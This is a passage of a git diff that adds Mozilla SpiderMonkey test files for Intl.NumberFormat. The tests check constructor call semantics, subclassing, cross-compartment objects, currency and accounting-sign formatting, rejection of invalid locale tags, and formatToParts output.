+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/browser.js b/js/src/tests/non262/Intl/NumberFormat/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/browser.js
diff --git a/js/src/tests/non262/Intl/NumberFormat/call.js b/js/src/tests/non262/Intl/NumberFormat/call.js
new file mode 100644
index 0000000000..9711a4d6a9
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/call.js
@@ -0,0 +1,182 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+function IsIntlService(c) {
+ return typeof c === "function" &&
+ c.hasOwnProperty("prototype") &&
+ c.prototype.hasOwnProperty("resolvedOptions");
+}
+
+function IsObject(o) {
+ return Object(o) === o;
+}
+
+function IsPrimitive(o) {
+ return Object(o) !== o;
+}
+
+function thisValues() {
+ const intlConstructors = Object.getOwnPropertyNames(Intl).map(name => Intl[name]).filter(IsIntlService);
+
+ return [
+ // Primitive values.
+ ...[undefined, null, true, "abc", Symbol(), 123],
+
+ // Object values.
+ ...[{}, [], /(?:)/, function(){}, new Proxy({}, {})],
+
+ // Intl objects.
+ ...[].concat(...intlConstructors.map(ctor => {
+ let args = [];
+ if (ctor === Intl.DisplayNames) {
+ // Intl.DisplayNames can't be constructed without any arguments.
+ args = [undefined, {type: "language"}];
+ }
+
+ return [
+ // Instance of an Intl constructor.
+ new ctor(...args),
+
+ // Instance of a subclassed Intl constructor.
+ new class extends ctor {}(...args),
+
+ // Object inheriting from an Intl constructor prototype.
+ Object.create(ctor.prototype),
+
+ // Intl object not inheriting from its default prototype.
+ Object.setPrototypeOf(new ctor(...args), Object.prototype),
+ ];
+ })),
+ ];
+}
+
+const intlFallbackSymbol = Object.getOwnPropertySymbols(Intl.NumberFormat.call(Object.create(Intl.NumberFormat.prototype)))[0];
+
+// Invoking [[Call]] for Intl.NumberFormat returns a new instance unless called
+// with an instance inheriting from Intl.NumberFormat.prototype.
+for (let thisValue of thisValues()) {
+ let obj = Intl.NumberFormat.call(thisValue);
+
+ if (!Intl.NumberFormat.prototype.isPrototypeOf(thisValue)) {
+ assertEq(Object.is(obj, thisValue), false);
+ assertEq(obj instanceof Intl.NumberFormat, true);
+ if (IsObject(thisValue))
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), []);
+ } else {
+ assertEq(Object.is(obj, thisValue), true);
+ assertEq(obj instanceof Intl.NumberFormat, true);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), [intlFallbackSymbol]);
+ }
+}
+
+// Intl.NumberFormat uses the legacy Intl constructor compromise semantics.
+// - Test when InstanceofOperator(thisValue, %NumberFormat%) returns true.
+for (let thisValue of thisValues().filter(IsObject)) {
+ let hasInstanceCalled = false;
+ Object.defineProperty(Intl.NumberFormat, Symbol.hasInstance, {
+ value() {
+ assertEq(hasInstanceCalled, false);
+ hasInstanceCalled = true;
+ return true;
+ }, configurable: true
+ });
+ let obj = Intl.NumberFormat.call(thisValue);
+ delete Intl.NumberFormat[Symbol.hasInstance];
+
+ assertEq(Object.is(obj, thisValue), true);
+ assertEq(hasInstanceCalled, true);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), [intlFallbackSymbol]);
+}
+// - Test when InstanceofOperator(thisValue, %NumberFormat%) returns false.
+for (let thisValue of thisValues().filter(IsObject)) {
+ let hasInstanceCalled = false;
+ Object.defineProperty(Intl.NumberFormat, Symbol.hasInstance, {
+ value() {
+ assertEq(hasInstanceCalled, false);
+ hasInstanceCalled = true;
+ return false;
+ }, configurable: true
+ });
+ let obj = Intl.NumberFormat.call(thisValue);
+ delete Intl.NumberFormat[Symbol.hasInstance];
+
+ assertEq(Object.is(obj, thisValue), false);
+ assertEq(obj instanceof Intl.NumberFormat, true);
+ assertEq(hasInstanceCalled, true);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), []);
+}
+// - Test with primitive values.
+for (let thisValue of thisValues().filter(IsPrimitive)) {
+ // Ensure @@hasInstance is not called.
+ Object.defineProperty(Intl.NumberFormat, Symbol.hasInstance, {
+ value() { assertEq(true, false); }, configurable: true
+ });
+ let obj = Intl.NumberFormat.call(thisValue);
+ delete Intl.NumberFormat[Symbol.hasInstance];
+
+ assertEq(Object.is(obj, thisValue), false);
+ assertEq(obj instanceof Intl.NumberFormat, true);
+}
+
+// Throws an error when attempting to install [[FallbackSymbol]] twice.
+{
+ let thisValue = Object.create(Intl.NumberFormat.prototype);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), []);
+
+ assertEq(Intl.NumberFormat.call(thisValue), thisValue);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), [intlFallbackSymbol]);
+
+ assertThrowsInstanceOf(() => Intl.NumberFormat.call(thisValue), TypeError);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), [intlFallbackSymbol]);
+}
+
+// Throws an error when the thisValue is non-extensible.
+{
+ let thisValue = Object.create(Intl.NumberFormat.prototype);
+ Object.preventExtensions(thisValue);
+
+ assertThrowsInstanceOf(() => Intl.NumberFormat.call(thisValue), TypeError);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), []);
+}
+
+// [[FallbackSymbol]] is installed as a frozen property holding an Intl.NumberFormat instance.
+{
+ let thisValue = Object.create(Intl.NumberFormat.prototype);
+ Intl.NumberFormat.call(thisValue);
+
+ let desc = Object.getOwnPropertyDescriptor(thisValue, intlFallbackSymbol);
+ assertEq(desc !== undefined, true);
+ assertEq(desc.writable, false);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, false);
+ assertEq(desc.value instanceof Intl.NumberFormat, true);
+}
+
+// Ensure [[FallbackSymbol]] is installed last by changing the [[Prototype]]
+// during initialization.
+{
+ let thisValue = {};
+ let options = {
+ get useGrouping() {
+ Object.setPrototypeOf(thisValue, Intl.NumberFormat.prototype);
+ return false;
+ }
+ };
+ let obj = Intl.NumberFormat.call(thisValue, undefined, options);
+ assertEq(Object.is(obj, thisValue), true);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), [intlFallbackSymbol]);
+}
+{
+ let thisValue = Object.create(Intl.NumberFormat.prototype);
+ let options = {
+ get useGrouping() {
+ Object.setPrototypeOf(thisValue, Object.prototype);
+ return false;
+ }
+ };
+ let obj = Intl.NumberFormat.call(thisValue, undefined, options);
+ assertEq(Object.is(obj, thisValue), false);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), []);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/construct-newtarget.js b/js/src/tests/non262/Intl/NumberFormat/construct-newtarget.js
new file mode 100644
index 0000000000..0053b2737e
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/construct-newtarget.js
@@ -0,0 +1,81 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// Test subclassing %Intl.NumberFormat% works correctly.
+class MyNumberFormat extends Intl.NumberFormat {}
+
+var obj = new MyNumberFormat();
+assertEq(obj instanceof MyNumberFormat, true);
+assertEq(obj instanceof Intl.NumberFormat, true);
+assertEq(Object.getPrototypeOf(obj), MyNumberFormat.prototype);
+
+obj = Reflect.construct(MyNumberFormat, []);
+assertEq(obj instanceof MyNumberFormat, true);
+assertEq(obj instanceof Intl.NumberFormat, true);
+assertEq(Object.getPrototypeOf(obj), MyNumberFormat.prototype);
+
+obj = Reflect.construct(MyNumberFormat, [], MyNumberFormat);
+assertEq(obj instanceof MyNumberFormat, true);
+assertEq(obj instanceof Intl.NumberFormat, true);
+assertEq(Object.getPrototypeOf(obj), MyNumberFormat.prototype);
+
+obj = Reflect.construct(MyNumberFormat, [], Intl.NumberFormat);
+assertEq(obj instanceof MyNumberFormat, false);
+assertEq(obj instanceof Intl.NumberFormat, true);
+assertEq(Object.getPrototypeOf(obj), Intl.NumberFormat.prototype);
+
+
+// Set a different constructor as NewTarget.
+obj = Reflect.construct(MyNumberFormat, [], Array);
+assertEq(obj instanceof MyNumberFormat, false);
+assertEq(obj instanceof Intl.NumberFormat, false);
+assertEq(obj instanceof Array, true);
+assertEq(Object.getPrototypeOf(obj), Array.prototype);
+
+obj = Reflect.construct(Intl.NumberFormat, [], Array);
+assertEq(obj instanceof Intl.NumberFormat, false);
+assertEq(obj instanceof Array, true);
+assertEq(Object.getPrototypeOf(obj), Array.prototype);
+
+
+// The prototype defaults to %NumberFormatPrototype% if null.
+function NewTargetNullPrototype() {}
+NewTargetNullPrototype.prototype = null;
+
+obj = Reflect.construct(Intl.NumberFormat, [], NewTargetNullPrototype);
+assertEq(obj instanceof Intl.NumberFormat, true);
+assertEq(Object.getPrototypeOf(obj), Intl.NumberFormat.prototype);
+
+obj = Reflect.construct(MyNumberFormat, [], NewTargetNullPrototype);
+assertEq(obj instanceof MyNumberFormat, false);
+assertEq(obj instanceof Intl.NumberFormat, true);
+assertEq(Object.getPrototypeOf(obj), Intl.NumberFormat.prototype);
+
+
+// "prototype" property is retrieved exactly once.
+var trapLog = [], getLog = [];
+var ProxiedConstructor = new Proxy(Intl.NumberFormat, new Proxy({
+ get(target, propertyKey, receiver) {
+ getLog.push(propertyKey);
+ return Reflect.get(target, propertyKey, receiver);
+ }
+}, {
+ get(target, propertyKey, receiver) {
+ trapLog.push(propertyKey);
+ return Reflect.get(target, propertyKey, receiver);
+ }
+}));
+
+obj = Reflect.construct(Intl.NumberFormat, [], ProxiedConstructor);
+assertEqArray(trapLog, ["get"]);
+assertEqArray(getLog, ["prototype"]);
+assertEq(obj instanceof Intl.NumberFormat, true);
+assertEq(Object.getPrototypeOf(obj), Intl.NumberFormat.prototype);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/NumberFormat/cross-compartment.js b/js/src/tests/non262/Intl/NumberFormat/cross-compartment.js
new file mode 100644
index 0000000000..806f889d6f
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/cross-compartment.js
@@ -0,0 +1,70 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+var otherGlobal = newGlobal();
+
+var numberFormat = new Intl.NumberFormat();
+var ccwNumberFormat = new otherGlobal.Intl.NumberFormat();
+
+// Test Intl.NumberFormat.prototype.format with a CCW object.
+var Intl_NumberFormat_format_get = Object.getOwnPropertyDescriptor(Intl.NumberFormat.prototype, "format").get;
+
+assertEq(Intl_NumberFormat_format_get.call(ccwNumberFormat)(0),
+ Intl_NumberFormat_format_get.call(numberFormat)(0));
+
+// Test Intl.NumberFormat.prototype.formatToParts with a CCW object.
+var Intl_NumberFormat_formatToParts = Intl.NumberFormat.prototype.formatToParts;
+
+assertEq(deepEqual(Intl_NumberFormat_formatToParts.call(ccwNumberFormat, 0),
+ Intl_NumberFormat_formatToParts.call(numberFormat, 0)),
+ true);
+
+// Test Intl.NumberFormat.prototype.resolvedOptions with a CCW object.
+var Intl_NumberFormat_resolvedOptions = Intl.NumberFormat.prototype.resolvedOptions;
+
+assertEq(deepEqual(Intl_NumberFormat_resolvedOptions.call(ccwNumberFormat),
+ Intl_NumberFormat_resolvedOptions.call(numberFormat)),
+ true);
+
+// Special case for Intl.NumberFormat: The Intl fallback symbol.
+
+function fallbackSymbol(global) {
+ var NF = global.Intl.NumberFormat;
+ return Object.getOwnPropertySymbols(NF.call(Object.create(NF.prototype)))[0];
+}
+
+const intlFallbackSymbol = fallbackSymbol(this);
+const otherIntlFallbackSymbol = fallbackSymbol(otherGlobal);
+assertEq(intlFallbackSymbol === otherIntlFallbackSymbol, false);
+
+// Test when the fallback symbol points to a CCW NumberFormat object.
+var objWithFallbackCCWNumberFormat = {
+ __proto__: Intl.NumberFormat.prototype,
+ [intlFallbackSymbol]: ccwNumberFormat,
+};
+
+assertEq(Intl_NumberFormat_format_get.call(objWithFallbackCCWNumberFormat)(0),
+ Intl_NumberFormat_format_get.call(numberFormat)(0));
+
+assertEq(deepEqual(Intl_NumberFormat_resolvedOptions.call(objWithFallbackCCWNumberFormat),
+ Intl_NumberFormat_resolvedOptions.call(numberFormat)),
+ true);
+
+// Ensure the fallback symbol(s) are not accessed for CCW NumberFormat objects.
+var ccwNumberFormatWithPoisonedFallback = new otherGlobal.Intl.NumberFormat();
+Object.setPrototypeOf(ccwNumberFormatWithPoisonedFallback, Intl.NumberFormat.prototype);
+Object.defineProperty(ccwNumberFormatWithPoisonedFallback, intlFallbackSymbol, {
+ get() { throw new Error(); }
+});
+Object.defineProperty(ccwNumberFormatWithPoisonedFallback, otherIntlFallbackSymbol, {
+ get() { throw new Error(); }
+});
+
+assertEq(Intl_NumberFormat_format_get.call(ccwNumberFormatWithPoisonedFallback)(0),
+ Intl_NumberFormat_format_get.call(numberFormat)(0));
+
+assertEq(deepEqual(Intl_NumberFormat_resolvedOptions.call(ccwNumberFormatWithPoisonedFallback),
+ Intl_NumberFormat_resolvedOptions.call(numberFormat)),
+ true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/currency-narrow-symbol.js b/js/src/tests/non262/Intl/NumberFormat/currency-narrow-symbol.js
new file mode 100644
index 0000000000..4873045685
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/currency-narrow-symbol.js
@@ -0,0 +1,40 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const {
+ Integer, Decimal, Fraction, Currency, Literal,
+} = NumberFormatParts;
+
+const testcases = [
+ {
+ locale: "en-CA",
+ options: {
+ style: "currency",
+ currency: "USD",
+ currencyDisplay: "narrowSymbol",
+ },
+ values: [
+ {value: 123, string: "$123.00",
+ parts: [Currency("$"), Integer("123"), Decimal("."), Fraction("00")]},
+ ],
+ },
+
+ // And for comparison "symbol" currency-display.
+
+ {
+ locale: "en-CA",
+ options: {
+ style: "currency",
+ currency: "USD",
+ currencyDisplay: "symbol",
+ },
+ values: [
+ {value: 123, string: "US$123.00",
+ parts: [Currency("US$"), Integer("123"), Decimal("."), Fraction("00")]},
+ ],
+ },
+];
+
+runNumberFormattingTestcases(testcases);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/currency-sign-accounting.js b/js/src/tests/non262/Intl/NumberFormat/currency-sign-accounting.js
new file mode 100644
index 0000000000..6f91d6edd4
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/currency-sign-accounting.js
@@ -0,0 +1,192 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const {
+ Nan, Inf, Integer, MinusSign, PlusSign, Decimal, Fraction,
+ Currency, Literal,
+} = NumberFormatParts;
+
+const testcases = [
+ // "auto": Show the sign on negative numbers only.
+ {
+ locale: "en",
+ options: {
+ style: "currency",
+ currency: "USD",
+ currencySign: "accounting",
+ signDisplay: "auto",
+ },
+ values: [
+ {value: +0, string: "$0.00",
+ parts: [Currency("$"), Integer("0"), Decimal("."), Fraction("00")]},
+ {value: -0, string: "($0.00)",
+ parts: [Literal("("), Currency("$"), Integer("0"), Decimal("."), Fraction("00"), Literal(")")]},
+
+ {value: 1, string: "$1.00",
+ parts: [Currency("$"), Integer("1"), Decimal("."), Fraction("00")]},
+ {value: -1, string: "($1.00)",
+ parts: [Literal("("), Currency("$"), Integer("1"), Decimal("."), Fraction("00"), Literal(")")]},
+
+ {value: Infinity, string: "$∞", parts: [Currency("$"), Inf("∞")]},
+ {value: -Infinity, string: "($∞)", parts: [Literal("("), Currency("$"), Inf("∞"), Literal(")")]},
+
+ {value: NaN, string: "$NaN", parts: [Currency("$"), Nan("NaN")]},
+ {value: -NaN, string: "$NaN", parts: [Currency("$"), Nan("NaN")]},
+ ],
+ },
+
+ // "never": Show the sign on neither positive nor negative numbers.
+ {
+ locale: "en",
+ options: {
+ style: "currency",
+ currency: "USD",
+ currencySign: "accounting",
+ signDisplay: "never",
+ },
+ values: [
+ {value: +0, string: "$0.00", parts: [Currency("$"), Integer("0"), Decimal("."), Fraction("00")]},
+ {value: -0, string: "$0.00", parts: [Currency("$"), Integer("0"), Decimal("."), Fraction("00")]},
+
+ {value: 1, string: "$1.00", parts: [Currency("$"), Integer("1"), Decimal("."), Fraction("00")]},
+ {value: -1, string: "$1.00", parts: [Currency("$"), Integer("1"), Decimal("."), Fraction("00")]},
+
+ {value: Infinity, string: "$∞", parts: [Currency("$"), Inf("∞")]},
+ {value: -Infinity, string: "$∞", parts: [Currency("$"), Inf("∞")]},
+
+ {value: NaN, string: "$NaN", parts: [Currency("$"), Nan("NaN")]},
+ {value: -NaN, string: "$NaN", parts: [Currency("$"), Nan("NaN")]},
+ ],
+ },
+
+ // "always": Show the sign on positive and negative numbers including zero.
+ {
+ locale: "en",
+ options: {
+ style: "currency",
+ currency: "USD",
+ currencySign: "accounting",
+ signDisplay: "always",
+ },
+ values: [
+ {value: +0, string: "+$0.00",
+ parts: [PlusSign("+"), Currency("$"), Integer("0"), Decimal("."), Fraction("00")]},
+ {value: -0, string: "($0.00)",
+ parts: [Literal("("), Currency("$"), Integer("0"), Decimal("."), Fraction("00"), Literal(")")]},
+
+ {value: 1, string: "+$1.00",
+ parts: [PlusSign("+"), Currency("$"), Integer("1"), Decimal("."), Fraction("00")]},
+ {value: -1, string: "($1.00)",
+ parts: [Literal("("), Currency("$"), Integer("1"), Decimal("."), Fraction("00"), Literal(")")]},
+
+ {value: Infinity, string: "+$∞", parts: [PlusSign("+"), Currency("$"), Inf("∞")]},
+ {value: -Infinity, string: "($∞)", parts: [Literal("("), Currency("$"), Inf("∞"), Literal(")")]},
+
+ {value: NaN, string: "+$NaN", parts: [PlusSign("+"), Currency("$"), Nan("NaN")]},
+ {value: -NaN, string: "+$NaN", parts: [PlusSign("+"), Currency("$"), Nan("NaN")]},
+ ],
+ },
+
+ // "exceptZero": Show the sign on positive and negative numbers but not zero.
+ {
+ locale: "en",
+ options: {
+ style: "currency",
+ currency: "USD",
+ currencySign: "accounting",
+ signDisplay: "exceptZero",
+ },
+ values: [
+ {value: +0, string: "$0.00",
+ parts: [Currency("$"), Integer("0"), Decimal("."), Fraction("00")]},
+ {value: -0, string: "$0.00",
+ parts: [Currency("$"), Integer("0"), Decimal("."), Fraction("00")]},
+
+ {value: 1, string: "+$1.00",
+ parts: [PlusSign("+"), Currency("$"), Integer("1"), Decimal("."), Fraction("00")]},
+ {value: -1, string: "($1.00)",
+ parts: [Literal("("), Currency("$"), Integer("1"), Decimal("."), Fraction("00"), Literal(")")]},
+
+ {value: Infinity, string: "+$∞", parts: [PlusSign("+"), Currency("$"), Inf("∞")]},
+ {value: -Infinity, string: "($∞)", parts: [Literal("("), Currency("$"), Inf("∞"), Literal(")")]},
+
+ {value: NaN, string: "$NaN", parts: [Currency("$"), Nan("NaN")]},
+ {value: -NaN, string: "$NaN", parts: [Currency("$"), Nan("NaN")]},
+ ],
+ },
+
+ // Tests with suppressed fractional digits.
+
+ // "auto": Show the sign on negative numbers only.
+ {
+ locale: "en",
+ options: {
+ style: "currency",
+ currency: "USD",
+ currencySign: "accounting",
+ signDisplay: "auto",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ },
+ values: [
+ {value: +0.1, string: "$0", parts: [Currency("$"), Integer("0")]},
+ {value: -0.1, string: "($0)", parts: [Literal("("), Currency("$"), Integer("0"), Literal(")")]},
+ ],
+ },
+
+ // "never": Show the sign on neither positive nor negative numbers.
+ {
+ locale: "en",
+ options: {
+ style: "currency",
+ currency: "USD",
+ currencySign: "accounting",
+ signDisplay: "never",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ },
+ values: [
+ {value: +0.1, string: "$0", parts: [Currency("$"), Integer("0")]},
+ {value: -0.1, string: "$0", parts: [Currency("$"), Integer("0")]},
+ ],
+ },
+
+ // "always": Show the sign on positive and negative numbers including zero.
+ {
+ locale: "en",
+ options: {
+ style: "currency",
+ currency: "USD",
+ currencySign: "accounting",
+ signDisplay: "always",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ },
+ values: [
+ {value: +0.1, string: "+$0", parts: [PlusSign("+"), Currency("$"), Integer("0")]},
+ {value: -0.1, string: "($0)", parts: [Literal("("), Currency("$"), Integer("0"), Literal(")")]},
+ ],
+ },
+
+ // "exceptZero": Show the sign on positive and negative numbers but not zero.
+ {
+ locale: "en",
+ options: {
+ style: "currency",
+ currency: "USD",
+ currencySign: "accounting",
+ signDisplay: "exceptZero",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ },
+
+ values: [
+ {value: +0.1, string: "$0", parts: [Currency("$"), Integer("0")]},
+ {value: -0.1, string: "$0", parts: [Currency("$"), Integer("0")]},
+ ],
+ }
+];
+
+runNumberFormattingTestcases(testcases);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/duplicate-singleton-variant.js b/js/src/tests/non262/Intl/NumberFormat/duplicate-singleton-variant.js
new file mode 100644
index 0000000000..42bf78c3fe
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/duplicate-singleton-variant.js
@@ -0,0 +1,49 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Check for duplicate variants and singletons case-insensitively, but don't
+// check in privateuse components.
+
+function checkInvalidLocale(locale)
+{
+ try
+ {
+ new Intl.NumberFormat(locale);
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof RangeError, true,
+ "expected RangeError for locale '" + locale + "', got " + e);
+ }
+}
+
+var badLocales =
+ [
+ "en-u-foo-U-foo",
+ "en-tester-Tester",
+ "en-tesTER-TESter",
+ "de-DE-u-kn-true-U-kn-true",
+ "ar-u-foo-q-bar-u-baz",
+ "ar-z-moo-u-foo-q-bar-z-eit-u-baz",
+ ];
+
+for (var locale of badLocales)
+ checkInvalidLocale(locale);
+
+// Fully-privateuse locales are rejected.
+for (var locale of badLocales)
+ assertThrowsInstanceOf(() => new Intl.NumberFormat("x-" + locale), RangeError);
+
+// Locales with trailing privateuse also okay.
+for (var locale of badLocales)
+{
+ new Intl.NumberFormat("en-x-" + locale).format(5);
+ new Intl.NumberFormat("en-u-foo-x-u-" + locale).format(5);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/format-as-code-or-name.js b/js/src/tests/non262/Intl/NumberFormat/format-as-code-or-name.js
new file mode 100644
index 0000000000..ba257ecd71
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/format-as-code-or-name.js
@@ -0,0 +1,75 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1093421;
+var summary =
+ "new Intl.NumberFormat(..., { style: 'currency', currency: '...', " +
+ "currencyDisplay: 'name' or 'code' }) should have behavior other than " +
+ "throwing";
+
+print(BUGNUMBER + ": " + summary);
+
+//-----------------------------------------------------------------------------
+
+// Test that currencyDisplay: "code" behaves correctly and doesn't throw.
+
+var usdCodeOptions =
+ {
+ style: "currency",
+ currency: "USD",
+ currencyDisplay: "code",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ };
+var usDollarsCode = new Intl.NumberFormat("en-US", usdCodeOptions);
+assertEq(/USD/.test(usDollarsCode.format(25)), true);
+
+// ISO 4217 currency codes are formed from an ISO 3166-1 alpha-2 country code
+// followed by a third letter. ISO 3166 guarantees that no country code
+// starting with "X" will ever be assigned. Stepping carefully around a few
+// 4217-designated special "currencies", XQQ will never have a representation.
+// Thus, yes: this really is specified to work, as unrecognized or unsupported
+// codes pass into the string unmodified.
+var xqqCodeOptions =
+ {
+ style: "currency",
+ currency: "XQQ",
+ currencyDisplay: "code",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ };
+var xqqMoneyCode = new Intl.NumberFormat("en-US", xqqCodeOptions);
+assertEq(/XQQ/.test(xqqMoneyCode.format(25)), true);
+
+// Test that currencyDisplay: "name" behaves without throwing. (Unlike the two
+// above tests, the results here aren't guaranteed as the name is
+// implementation-defined.)
+var usdNameOptions =
+ {
+ style: "currency",
+ currency: "USD",
+ currencyDisplay: "name",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ };
+var usDollarsName = new Intl.NumberFormat("en-US", usdNameOptions);
+assertEq(usDollarsName.format(25), "25 US dollars");
+
+// But if the implementation doesn't recognize the currency, the provided code
+// is used in place of a proper name, unmolested.
+var xqqNameOptions =
+ {
+ style: "currency",
+ currency: "XQQ",
+ currencyDisplay: "name",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ };
+var xqqMoneyName = new Intl.NumberFormat("en-US", xqqNameOptions);
+assertEq(/XQQ/.test(xqqMoneyName.format(25)), true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/format.js b/js/src/tests/non262/Intl/NumberFormat/format.js
new file mode 100644
index 0000000000..a71a877566
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/format.js
@@ -0,0 +1,55 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the format function with a diverse set of locales and options.
+
+var format;
+
+// Locale en-US; default options.
+format = new Intl.NumberFormat("en-us");
+assertEq(format.format(0), "0");
+assertEq(format.format(-1), "-1");
+assertEq(format.format(123456789.123456789), "123,456,789.123");
+
+// Locale en-US; currency USD.
+// The US dollar uses two fractional digits, and negative values are commonly
+// parenthesized.
+format = new Intl.NumberFormat("en-us", {style: "currency", currency: "USD"});
+assertEq(format.format(0), "$0.00");
+assertEq(format.format(-1), "-$1.00");
+assertEq(format.format(123456789.123456789), "$123,456,789.12");
+
+// Locale ja-JP; currency JPY.
+// The Japanese yen has no subunit in real life.
+format = new Intl.NumberFormat("ja-jp", {style: "currency", currency: "JPY"});
+assertEq(format.format(0), "¥0");
+assertEq(format.format(-1), "-¥1");
+assertEq(format.format(123456789.123456789), "¥123,456,789");
+
+// Locale ar-JO; currency JOD.
+// The Jordanian Dinar divides into 1000 fils. Jordan uses (real) Arabic digits.
+format = new Intl.NumberFormat("ar-jo", {style: "currency", currency: "JOD"});
+assertEq(format.format(0), "٠٫٠٠٠ د.أ.‏");
+assertEq(format.format(-1), "؜-١٫٠٠٠ د.أ.‏");
+assertEq(format.format(123456789.123456789), "١٢٣٬٤٥٦٬٧٨٩٫١٢٣ د.أ.‏");
+
+// Locale th-TH; Thai digits, percent, two significant digits.
+format = new Intl.NumberFormat("th-th-u-nu-thai",
+ {style: "percent",
+ minimumSignificantDigits: 2,
+ maximumSignificantDigits: 2});
+assertEq(format.format(0), "๐.๐%");
+assertEq(format.format(-0.01), "-๑.๐%");
+assertEq(format.format(1.10), "๑๑๐%");
+
+
+// Test the .name property of the "format" getter.
+var desc = Object.getOwnPropertyDescriptor(Intl.NumberFormat.prototype, "format");
+assertEq(desc !== undefined, true);
+assertEq(typeof desc.get, "function");
+assertEq(desc.get.name, "get format");
+
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/NumberFormat/formatToParts.js b/js/src/tests/non262/Intl/NumberFormat/formatToParts.js
new file mode 100644
index 0000000000..3ac7c3f4d3
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/formatToParts.js
@@ -0,0 +1,357 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1289882;
+var summary = "Implement Intl.NumberFormat.prototype.formatToParts";
+
+print(BUGNUMBER + ": " + summary);
+
+//-----------------------------------------------------------------------------
+
+assertEq("formatToParts" in Intl.NumberFormat(), true);
+
+// NOTE: Some of these tests exercise standard behavior (e.g. that format and
+// formatToParts expose the same formatted string). But much of this,
+// like the exact-formatted-string expectations, is technically
+// implementation-dependent. This is necessary as a practical matter to
+// properly test the conversion from ICU's nested-field exposure to
+// ECMA-402's sequential-parts exposure.
+
+var {
+ Nan, Inf, Integer, Group, Decimal, Fraction,
+ MinusSign, PlusSign, PercentSign, Currency, Literal,
+} = NumberFormatParts;
+
+//-----------------------------------------------------------------------------
+
+// Test -0's partitioning now that it's not treated like +0.
+// https://github.com/tc39/ecma402/pull/232
+
+var deadSimpleFormatter = new Intl.NumberFormat("en-US");
+
+assertParts(deadSimpleFormatter, -0,
+ [MinusSign("-"), Integer("0")]);
+
+// Test behavior of a currency with code formatting.
+var usdCodeOptions =
+ {
+ style: "currency",
+ currency: "USD",
+ currencyDisplay: "code",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ };
+var usDollarsCode = new Intl.NumberFormat("en-US", usdCodeOptions);
+
+assertParts(usDollarsCode, 25,
+ [Currency("USD"), Literal("\xA0"), Integer("25")]);
+
+// ISO 4217 currency codes are formed from an ISO 3166-1 alpha-2 country code
+// followed by a third letter. ISO 3166 guarantees that no country code
